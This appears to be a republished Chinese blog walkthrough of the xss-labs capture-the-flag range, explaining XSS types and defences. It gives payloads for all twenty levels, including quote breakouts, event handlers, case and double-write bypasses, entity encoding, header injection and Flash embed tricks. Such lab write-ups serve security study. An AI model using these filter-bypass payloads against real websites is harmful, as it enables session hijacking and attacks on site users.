跨站脚本攻击xss-labs(1-20)靶机练手

目录

一、跨站脚本攻击(XSS)

1.1 漏洞简介

1.2:类型

1.3 XSS危害

1.4XSS防御规则

二、环境搭建

三、xsst通关记录

Level 1:文本解析为 HTML

Level 2:htmlspecialchars;input 标签 value 注入

定义和用法

字符过滤绕过

Level 3:

level 4:双引号闭合+添加事件

level 5:新建标签

level 6:大小写绕过

level 7 双写绕过

level 8 编码绕过

level 9 检测关键字

level 10 隐藏信息

level 11 Referer信息

level 12 user-agent信息

level 13 cookie信息

level 14

level 15(ng-include包含)

level 16 空格实体转义 

level-17(参数拼接)

level-18(参数拼接)

level-19(Flash XSS)

level-20(Flash XSS)

四.总结:

几种注入方式

on事件属于点击触发事件

 收集信息的方法

xss常见注入点

参考


一、跨站脚本攻击(XSS)

        1.1 漏洞简介


        XSS又叫CSS(Cross Site Script)跨站脚本攻击,是指恶意攻击者往web页面中插入恶意代码,当用户浏览该网页时,嵌入其中的恶意代码会被执行,从而达到恶意的特殊目的。XSS属于被动式的攻击。
        XSS最大的特点就是能注入恶意的HTML/JavaScript代码到用户浏览的网页上,从而达到劫持用户会话的目的。由于HTML代码和客户端JavaScript脚本能在受害者主机上的浏览器任意执行,这样等同于完全控制了Web客户端的逻辑,在这个基础上,黑客或攻击者可以轻易地发动各种各样的攻击。

        xss漏洞通常是通过php的输出函数将javascript代码输出到html页面中,通过用户本地浏览器执行的,所以xss漏洞关键就是寻找参数未过滤的输出函数。

常见的输出函数有: echo printf print print_r sprintf die var-dump var_export。

  1.2:类型

从攻击代码的工作方式可以分为三个类型:

(1)持久型跨站:最直接的危害类型,跨站代码存储在服务器(数据库)。

(2)非持久型跨站:反射型跨站脚本漏洞,最普遍的类型。用户访问服务器-跨站链接-返回跨站代码。

(3)DOM跨站(DOM XSS):DOM(document object model文档对象模型),客户端脚本处理逻辑导致的安全问题。

基于DOM的XSS漏洞是指受害者端的网页脚本在修改本地页面DOM环境时未进行合理的处置,而使得攻击脚本被执行。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

1.3 XSS危害

   (1)盗取管理员cookie

        窃取用户的cookie非法登录,使得入侵者具有恶意操纵后台数据的能力,包括读取、更改、添加、删除一些信息。

(2)网站挂马。

        先将恶意攻击代码嵌入到Web应用程序之中。当用户浏览该挂马页面时,用户的计算机会被植入木马。

(3)发送广告或者垃圾信息

        攻击者可以利用XSS漏洞植入广告,或者发送垃圾信息,严重影响到用户的正常使用。

1.4XSS防御规则

  1. – 不要在允许位置插入不可信数据
  2. – 在向HTML元素内容插入不可信数据前对HTML解码
  3. – 在向HTML常见属性插入不可信数据前进行属性解码
  4. – 在向HTML JavaScript Data Values插入不可信数据前,进行JavaScript解码
  5. – 在向HTML 样式属性值插入不可信数据前,进行CSS解码
  6. - 在向HTML URL属性插入不可信数据前,进行URL解码

二、环境搭建

xss-labsxss-labsxss-labs 是一套基于 PHP 的 XSS 靶场,以闯关的形式让我们体验各种 XSS 漏洞利用方式。虽然已经是很多年前的了,但其中基本的 XSS 漏洞依然很有意义。

一共有 20 关,每一关的目标都是实现弹窗(alert(1)),如果成功就会自动进入下一关。

克隆这个代码仓库的代码,其中是 xss-labs 的 PHP 源文件。只要放在 PHP 环境下即可.本机使用phpstudy_pro,将将文件放在phpstudy_pro下的www文件里边就欧克了。

部署完成后,访问 index.php,就可以看到入口了:

​ 

三、xsst通关记录

Level 1:文本解析为 HTML

URL 为 level1.php?name=test 时,传入的参数是 test,显示的是「欢迎用户 test」。显然,这个页面会将我们传入的名字显示出来。

我们打开开发者工具(F12)

这里name=test,放到了<h2>这个标签里,前端是可以执行JS代码的,我们执行如下代码

http://127.0.0.1/xsslabs/level1.php?name=<script>alert(1)</script>

Level 2:htmlspecialchars;input 标签 value 注入

定义和用法

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体编码。

预定义的字符是:

  • & (和号)成为 &
  • " (双引号)成为 "
  • ' (单引号)成为 '
  • < (小于)成为 <
  • > (大于)成为 >

这关多了一个文本框。如果依然尝试传入 <script>alert(1)</script>,会发现在 h2 元素中符号被转义了(查看网页源代码能看到),<h2>&it;script&gtalert(1)&lt;/script;&gt</h2>,所以不会被解析成 HTML。

页面上能够正常显示是htmlspecialchars()给转换为HTML实体编码后HTML又给解析为正常显示。

然而,可以看到后面的文本框 input 元素,其 value 值并没有被转义。

<input name=keyword value="<script>alert(1)</script>">

既然如此,我们可以闭合 value 的内容的后引号,然后闭合这个 input 标签,接下来再加入我们想要注入的 <script>alert(1);</script>。只需要在其之前加上 "> 即可。

Level 3:字符过滤绕过

这一关的代码好像和第二关有点像,我们输入上一个看一下行不行

这里没有逃逸出来,这一招好像不管用了?

这是因为用的单引号闭合🤣既然单引号不会被转义,我们可以闭合 value 这个字符串。

但是,<> 都会被转义,似乎不能闭合这个标签。有什么办法能够不用 <script> 标签来注入 JavaScript 代码呢?答案是使用触发器,比如 onfocus 或者 onclick

可以看到这样就逃逸出来了,然后我们随便找个js代码就可以通关了。

level 4:双引号闭合+添加事件

第一处<>被实体转码
第二处地方<>被替换成空 

同样使用上一关方法:通过<input>标签的一些特殊事件来执行js代码
payload " onclick=alert(12) //
左边的">去闭合原先的" 

level 5:新建标签

虽然input被闭合了,但是script和on被过滤掉 

现在on和script都被过滤掉了,那就用一个不含on和script的标签来执行

level 6:大小写绕过

这里和上一关一样,script被过滤,

虽然input被闭合了,但是被关键字过滤就很难受;不行了那就试一下大小写

很明显成功了。。。换一个试一下也是可以的

level 7 双写绕过

1.<script>alert(‘xss’)</script>
2."οnfοcus=javascript:alert('xss')"
3.?keyword="> <a href=javascript:alert('xss') > xss</a> //
4. " οnclick=alert(12) //

尝试之后都是被过滤,就很难受,大小写在这也不灵了,那还有什么办法?

他过滤一个script,那我写一个这个呢?oonnclick,试一下

level 8 编码绕过

可以看到这里有被过滤,那就想办法绕过就行了么

之前使用过的方法都试了一遍还是不行,只能另找思路:

这里将javascript:alert(1)转换为实体编码试一下

这是转换之后的编码&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

可以看到当添加了友情链接之后a标签里的连接直接转换成我们想要的东西,这就欧克了。

level 9 检测关键字

可以看到不管你写啥都是链接不合法,这是咋回事?那我写个合法的:比如https://baidu.com,这合适的吧;

还不合法,那我试一下http 

这一下就合适了,看来是要加http呀,那我加上再看

又被过滤,那我转一下码(&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;http://)

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;:alert(1)//http://
备注:后边的//注释一定要加,不然它就驴唇不对马嘴,自然浏览器也懵逼,所以要把后边的网址注释掉。

level 10 隐藏信息

我们看到第十关没有输入框了所以我们在url栏里输入​

没有用;而且下边我们看不到有传进来值,我猜测应该是被隐藏起来了,但是有3个input,试着给这三个分别传一个值看一下

?t_link=qqqq&t_history=wwwww&t_sort=eeee

这里传进来了,那好像就有思路了

我的<>又被过滤了,那就换一个试一下

这里好像是好了,但是我的onclick没有显示,那没地方点啊,所以给后边再加点东西

欧克,下一关

level 11 Referer信息

和上一关有点像,先试一下之前的办法

?t_link=qqq&t_history=www&t_sort=eee&t_ref=rrr 

发现t_sort传进来值了,那不就简单了

这双引号没有闭合,没能逃逸出来,这个办法不行。那就在找找,回过头来仔细一看,刚开始咱们的t_ref里边是有值的啊,而且是咱们上一关的url,

那这个咱们能利用吗?猜测ref又可能是http头中的referer属性

抓包尝试修改一下

传个值试一下 

这里将值真的传进来了,那就试一下这个

referer:111" onclick ='javascript:alert(1)'// type=button

欧克了就

level 12 user-agent信息

到了t_ua这样一个标签,并且其中的value属性的值怎么看起来那么

像抓取数据包中User-Agent头的值?!

抓包尝试修改

发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗

" onclick ='javascript:alert(1)'// type=button

level 13 cookie信息

还是四个隐藏框
t_cook可能是cookie
抓包仍然是相同的方式

发现双引号没有被过滤,我们尝试闭合引号构造事件弹窗

level 14

自动跳转到那个网址,但是失效了

level-14参考文章

level 15(ng-include包含)

后台源码:

window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level16.php?keyword=test"; 
}
</script>
<title>欢迎来到level15</title>
</head>
<h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

观察源码发现短短的几行,实体转义了src的值

使用了ng-include这个表达式的意思是当HTML代码过于复杂时,可以将部分代码打包成独立文件,在使用ng-include来引用这个独立的HTML文件。

ng-include指令一般用于包含外部HTML文件,ng-include属性的值可以是一个表达式,返回一个文件名,但是默认情况下,包含的文件需要包含在同一域名下,也就是要调用同一域名下的其他网页。因为默认情况下,包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口,我们看看源代码,果然有ng-include,并且对其输入做了过滤,所以我们可以包含一个有漏洞的页面

定义和用法

ng-include 指令用于包含外部的 HTML 文件。

包含的内容将作为指定元素的子节点。

ng-include 属性的值可以是一个表达式,返回一个文件名。

默认情况下,包含的文件需要包含在同一个域名下。

引用文件名要加单引号 即 ng-include=" 'index.html' "

所以可构造以下payload

去包含其他关卡的漏洞:
http://127.0.0.1/xsslabs/level15/.php?src='level1.php?name=<img src=1 οnerrοr=javascript:alert(1)>'

level 16 空格实体转义 

源代码:

<title>欢迎来到level16</title>
</head>
<body>
<h1 align=center>欢迎来到level16</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>
<center><img src=level16.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str5)."</h3>";
?>

通过源码发现,过滤了script,/,空格等(替换空格,script,/,再次替换空格)在html中是可以将%0a和%0d作为空格使用的

因为尖括号没被过滤掉,所以我们就用<a>标签,因此我们构造语句

可对script进行个拆分

payload:
/level16.php?keyword=<a%0dhref='javas%0acript:alert(1)'>xss

level-17(参数拼接)

查看源代码:

<title>欢迎来到level17</title>
</head>
<body>
<h1 align=center>欢迎来到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>点我进入下一关</a></h2>
</body>
</html>

通过代码发现,本关卡有两个参数:arg01、arg02,当我们发送的时候,发现他们是会互相拼接起来的,那么我们就容易想到这里会不会就是突破口,发现这两个参数是在embed上,embed标签定义嵌入的内容,并且做了尖括号过滤,那么我们可以加入一个属性进去,生成恶意代码。(发现其两个变量使用=符号拼接的形式被加入到<embed>标签中,该标签用于一些插件如flash等的插入,那这就是一个突破口)

HTML embed src 属性 | 菜鸟教程

输入点在url中,过滤了尖括号和双引号,用on事件触发。

常规加尖括号的语句会被转为html实体字符,那就只有用事件触发来写,而且事件触发刚好是用等号来连接。

使用on事件,但是没有反应,后来发现是浏览器中不支持flash

payload:
/level17.php?arg01=a&arg02=b οnmοuseοver=javascript:alert(1)

/level17.php?arg01=a&arg02=b 666 οnmοuseοver=javascript:alert(1)

onmouseover(鼠标移动到上方触发)触发器来进行恶意语句利用

火狐不支持flash(火狐浏览器中,发现该组件根本不显示,完全不给我们事件触发的机会,无法利用了),尝试没有反应,切换浏览器,在edge上试一下

level-18(参数拼接)

这个和上一关有点像,我们看一下源代码

</script>
<title>欢迎来到level18</title>
</head>
<body>
<h1 align=center>欢迎来到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

通过代码发现,和上一关基本差不多,我们继续使用上一关的代码进行测试,看是否弹窗

payload:
/level18.php?arg01=a&arg02=b οnmοuseοver=alert(1)

/level18.php?arg01=a&arg02=b  8888 οnmοuseοver=alert(1)

level-19(Flash XSS)

后台源码:

<title>欢迎来到level19</title>
</head>
<body>
<h1 align=center>欢迎来到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

这关是flash xss,涉及到反编译,暂时搞不懂

payload:
?arg01=version&arg02=<a href='javascript:alert(/xss/)'>xss</a>

level-20(Flash XSS)

后台源码:

<title>欢迎来到level20</title>
</head>
<body>
<h1 align=center>欢迎来到level20</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf04.swf?'.htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

观察源码发现,和上面19关差不多,就是插件不同。

payload:
?arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//&width&height

四.总结:

几种注入方式
  1. ?keyword=<script>alert('xss')</script>
  2. ?keyword='οnfοcus=javascript:alert('xss') >
  3. 当某些字符串被删掉时,用双写绕过
  4. ?keyword="oonnfocus=javascrscriptipt:alert('xss') "
  5. ?keyword="> <a href=javascript:alert('xss') > xss</a>
  6. src错的话,触发onerror,然后处理alert
  7. ?name=<img src=111 οnerrοr=alert('xss')
  8. http前面必须要//,将后面的注释掉
  9. ?keyword=javascript:alert('xss')//http://www.baidu.com
  10. ?t_sort=" type="text" οnclick="alert('xss')
  11. 不需要闭合的标签`img`
  12. ?keyword=<img%0Dsrc=1%0Dοnerrοr=alert('xss')>
  13. b后面有空格,后面就相当于一个新的属性
  14. ?arg01=a&arg02=b οnmοuseοver=alert(‘xss’)
on事件属于点击触发事件

绕过的方法

1.img标签src出错时用onerror注入

2.将a标签闭合,用script标签进行注入

3.用onmoseover等焦事件可以实现绕过执行脚本,焦事件可以用到input标签,a标签中的href属性,img标签等标签处。

4.可以尝试将代码进行unicode编码等浏览器可以解析的编码方式进行注入

5.可用转义序列实现绕过,转义序列是SGML类语言如xml、html中的中的一个设定,标志就是在一个数字前有 ”&#“ 这个字符后面可以跟十进制数或十六精进制,在构造语句时可以使用这种方法,从而实现绕过。

6.不只是转义序列,当你碰到删除空格的过滤时可以常识使用url编码,用%0a换行

 收集信息的方法

<1>查看网页源码,留意源码中常见存在注入的语句,并留意可以向服务器传递的参数
<2>向服务器传递参数,并判断,哪些参数被用到了网页上,并且初步记录
<3>将用了传递参数的语句总结出来之后,将常见存在注入的语句挑出,并且对它们的闭合方式进行记录
<4>对初步记录进行分析,并总结结论,结论的标准是
我要在哪些语句上用哪些xss绕过方法进行注入

xss常见注入点

1.<input>
2.<script>
3.<embed>等
这些标签都有一个特点就是都有src属性,如果网页可以发送form表单且其中的参数被用在了这些标签的属性中,那么我们注意闭合之后,加入onerror、onmouseover、onclick、onfocus等焦点之后触发脚本内容。
4.<h1>、<h2>、<h3>、<h4>、<h5>、<h6>
5.<div>等
这些标签的特点是只有对网页显示的编辑功能,或者说有分割网页源码文本的功能,如果网页传回去的参数有被用于这些标签的参数,我们可以将完整的dom节点传进去,因为一般这些标签都有包含的功能。

参考

以xss-labs举例反射型xss注入的方式及基本思路_span标签xss-CSDN博客icon-default.png?t=N7T8https://blog.csdn.net/m0_53061933/article/details/114755460nj.rs---Tiny XSS Payloads

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/424270.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

pytorch基础2-数据集与归一化

专题链接&#xff1a;https://blog.csdn.net/qq_33345365/category_12591348.html 本教程翻译自微软教程&#xff1a;https://learn.microsoft.com/en-us/training/paths/pytorch-fundamentals/ 初次编辑&#xff1a;2024/3/2&#xff1b;最后编辑&#xff1a;2024/3/2 本教程…

2024-03-01(金融AI行业与大数据生态圈)

1.金融这一块的算法&#xff0c;不像推荐系统&#xff0c;图像等领域&#xff0c;金融领域的算法都比较成熟了。现在来说门槛低&#xff0c;属于初期阶段&#xff0c;上升期。 2.反欺诈的数据标签比较少&#xff0c;有一种“标签染色”的方法来做反欺诈模型的标签。 3.常用反…

什么是Vue指令?请列举一些常见的Vue指令以及它们的用法

Vue.js 是一款流行的前端框架&#xff0c;它的指令&#xff08;Directives&#xff09;是 Vue.js 提供的一种特殊属性&#xff0c;用于在模板中对 DOM 元素进行直接操作。指令通常是以 v- 开头的特殊属性&#xff0c;用于响应式地将数据绑定到 DOM 元素上。 在 Vue 中&#xf…

【NTN 卫星通信】卫星和无人机配合的应用场景

1 场景概述 卫星接入网是一种有潜力的技术&#xff0c;可以为地面覆盖差地区的用户提供无处不在的网络服务。然而&#xff0c;卫星覆盖范围对于位于考古或采矿地点内部/被茂密森林覆盖的村庄/山谷/靠近山丘或大型建筑物的用户可能很稀疏。因此&#xff0c;涉及卫星接入和无人驾…

131. 分割回文串(力扣LeetCode)

文章目录 131. 分割回文串题目描述回溯代码 131. 分割回文串 题目描述 给你一个字符串 s&#xff0c;请你将 s 分割成一些子串&#xff0c;使每个子串都是 回文串 。返回 s 所有可能的分割方案。 回文串 是正着读和反着读都一样的字符串。 示例 1&#xff1a; 输入&#xf…

C#,基于密度的噪声应用空间聚类算法(DBSCAN Algorithm)源代码

1 聚类算法 聚类分析或简单聚类基本上是一种无监督的学习方法&#xff0c;它将数据点划分为若干特定的批次或组&#xff0c;使得相同组中的数据点具有相似的属性&#xff0c;而不同组中的数据点在某种意义上具有不同的属性。它包括许多基于差分进化的不同方法。 E、 g.K-均值…

kafka文件存储机制和消费者

1.broker文件存储机制 去查看真正的存储文件&#xff1a; 在/opt/module/kafka/datas/ 路径下 kafka-run-class.sh kafka.tools.DumpLogSegments --files ./00000000000000000000.index 如果是6415那么这个会存储在563的log文件之中&#xff0c;因为介于6410和10090之间。 2.…

STM32使用FlyMcu串口下载程序与STLink Utility下载程序

文章目录 前言软件链接一、FlyMcu串口下载程序原理优化手动修改跳线帽选项字节其他功能 二、STLink Utility下载程序下载程序选项字节固件更新 前言 本文主要讲解使用FlyMcu配合USART串口为STM32下载程序、使用STLink Utility配合STLink为STM32下载程序&#xff0c;以及这两个…

Stable Diffusion 模型分享:AAM XL (Anime Mix)(动漫截屏风格 XL)

本文收录于《AI绘画从入门到精通》专栏&#xff0c;专栏总目录&#xff1a;点这里。 文章目录 模型介绍生成案例案例一案例二案例三案例四案例五案例六案例七案例八 下载地址 模型介绍 AAM XL (Anime Mix) 是一个动漫截屏风格的模型&#xff0c;是 AAM - AnyLoRA Anime Mix 模…

【办公类-25-01】20240302 UIBOT上传 ”班级主页-育儿知识(家园小报)“

作品展示&#xff1a; 一、背景需求&#xff1a; 本学期制作了 “育儿知识&#xff08;家园小报&#xff09;”合并A4内容 【办公类-22-08】周计划系列&#xff08;4&#xff09;“育儿知识&#xff08;家园小报&#xff09;“ &#xff08;2024年调整版本&#xff09;-CSDN博…

【Qt学习笔记】(四)Qt窗口

Qt窗口 1 菜单栏1.1 创建菜单栏1.2 在菜单栏中添加菜单1.3 创建菜单项1.4 在菜单项之间添加分割线1.5 给菜单项添加槽函数1.6 给菜单项添加快捷键 2 工具栏2.1 创建工具栏2.2 设置停靠位置2.3 设置浮动属性2.4 设置移动属性2.5 添加 Action 3 状态栏3.1 状态栏的创建3.2 在状态…

【高级数据结构】Trie树

原理 介绍 高效地存储和查询字符串的数据结构。所以其重点在于&#xff1a;存储、查询两个操作。 存储操作 示例和图片来自&#xff1a;https://blog.csdn.net/qq_42024195/article/details/88364485 假设有这么几个字符串&#xff1a;b&#xff0c;abc&#xff0c;abd&…

基于springboot+vue的高校教师科研管理系统

博主主页&#xff1a;猫头鹰源码 博主简介&#xff1a;Java领域优质创作者、CSDN博客专家、阿里云专家博主、公司架构师、全网粉丝5万、专注Java技术领域和毕业设计项目实战&#xff0c;欢迎高校老师\讲师\同行交流合作 ​主要内容&#xff1a;毕业设计(Javaweb项目|小程序|Pyt…

Redis高级特性和应用(发布、订阅、Stream、慢查询、Pipeline、事务、Lua)

Redis高级特性和应用 发布和订阅 Redis提供了基于“发布/订阅”模式的消息机制&#xff0c;此种模式下&#xff0c;消息发布者和订阅者不进行直接通信,发布者客户端向指定的频道( channel)发布消息&#xff0c;订阅该频道的每个客户端都可以收到该消息。 操作命令 Redis主要…

手写 Attention 迷你LLaMa2——LLM实战

https://github.com/Yuezhengrong/Implement-Attention-TinyLLaMa-from-scratch 1. Attention 1.1 Attention 灵魂10问 你怎么理解Attention&#xff1f; Scaled Dot-Product Attention中的Scaled&#xff1a; 1 d k \frac{1}{\sqrt{d_k}} dk​ ​1​ 的目的是调节内积&…

OpenAI划时代大模型——文本生成视频模型Sora作品欣赏(十三)

Sora介绍 Sora是一个能以文本描述生成视频的人工智能模型&#xff0c;由美国人工智能研究机构OpenAI开发。 Sora这一名称源于日文“空”&#xff08;そら sora&#xff09;&#xff0c;即天空之意&#xff0c;以示其无限的创造潜力。其背后的技术是在OpenAI的文本到图像生成模…

BUGKU bp

打开环境&#xff0c;他提示了弱密码top1000&#xff0c;随便输入密码123抓包爆破 发现长度都一样&#xff0c;看一下响应发现一段js代码&#xff0c;若r值为{code: bugku10000}&#xff0c;则会返回错误&#xff0c;通过这一句“window.location.href success.php?coder.cod…

【软考】设计模式之访问者模式

目录 1. 说明2. 应用场景3. 结构图4. 构成5. java示例5.1 喂动物5.1.1 抽象访问者5.1.2 具体访问者5.1.3 抽象元素5.1.4 具体元素5.1.5 对象结构5.1.6 客户端类5.1.7 结果示例 5.2 超市销售系统5.2.1 业务场景5.2.2 业务需求类图5.2.3 抽象访问者5.2.4 具体访问者5.2.5 抽象元素…

实战:Oracle Weblogic 11g配置无密码启动,启动关闭脚本,修改节点内存

导读 上篇博文介绍了Oracle Weblogic 11g的安装部署&#xff0c;本文介绍Weblogic安装后的基本配置 包括&#xff1a;设置weblogic启动关闭的无密码验证&#xff0c;启动关闭脚本&#xff0c;修改默认的节点内存。 1、配置无密码启动 [weblogicw1 base_domain]$ cd servers/ […

C#,无监督的K-Medoid聚类算法(K-Medoid Algorithm)与源代码

1 K-Medoid算法 K-Medoid&#xff08;也称为围绕Medoid的划分&#xff09;算法是由Kaufman和Rousseeuw于1987年提出的。中间点可以定义为簇中的点&#xff0c;其与簇中所有其他点的相似度最小。 K-medoids聚类是一种无监督的聚类算法&#xff0c;它对未标记数据中的对象进行聚…